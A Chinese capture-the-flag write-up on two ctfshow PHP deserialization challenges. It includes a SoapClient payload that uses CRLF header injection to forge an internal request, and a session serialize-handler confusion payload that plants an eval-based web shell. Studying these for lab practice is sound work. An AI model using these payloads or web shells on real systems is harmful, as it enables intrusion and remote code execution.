前言

刷的ctfshow的题目,记录不容易想到的题。

web259

没有给任何类,但有反序列化函数,考察的就是php原生类的利用了,具体有哪些原生类可以翻下之前php反序列化总结的那篇

需要在php.in 中开启extension=soap

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);



if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

题目要求构造一个内网的SCRF,去请求flag.php,其中还必须post一个token。
payload

1
2
3
4
5
6
7
8
9
10
11
<?php

$a = new SoapClient(null,
    array(
        'user_agent' => "midi\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'uri' => 'midi',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
echo urlencode(serialize($a));
//调用不存在的方法,SoapClient调用__call方法发送请求。

上面Content-length:13是因为 token=ctfshow长度13

web263

根据session反序列化,

默认生成session的处理器是php,而题目中声明了 或者是使用了php_serialize

1
ini_set('session.serialize_handler', 'php');   //用来声明用哪种处理器

看下两者之间的区别

tips:生成session文件到本地需要配置php.ini中的session.save_path = “N;save_path”

1
2
3
4
5
6
7
8
9
<?php
session_start();
class User{
public $username='1.php';
public $password='<?php eval($_POST[1])?>';
public $status;
}
$user = new User();
$_SESSION['user'] = $user;

生成session文件的内容是
文件名:sess_sgk284604lkbo4nf0647e9h2na

内容:

1
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:23:"<?php eval($_POST[1])?>";s:6:"status";N;}

我们再换成php_serialize处理器来试下

1
2
3
4
5
6
7
8
9
10
11
<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
public $username='1.php';
public $password='<?php eval($_POST[1])?>';
public $status;
}
$user = new User();
$_SESSION['user'] = $user;

内容为:

1
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:23:"<?php eval($_POST[1])?>";s:6:"status";N;}}

题目中session的limit可控,然后index.php的是php_serialize处理器,而check中是php处理器,我们将写入的php_serialize中加入|字符,到时候php处理器就会把|字符后的进行反序列化。。可能有点绕

payload

1
2
3
4
5
6
7
<?php
class User{
    public $username= "midi.php";
    public $password= '<?php eval($_POST[1]);phpinfo();?>';
public $status;
}
echo base64_encode("|".serialize(new User()));

先在index中 写入 session, 这时是serialize处理器,但写进去的有|

再去check.php 请求,会对|后的字符反序列化(这时是php处理器),之后成功写入文件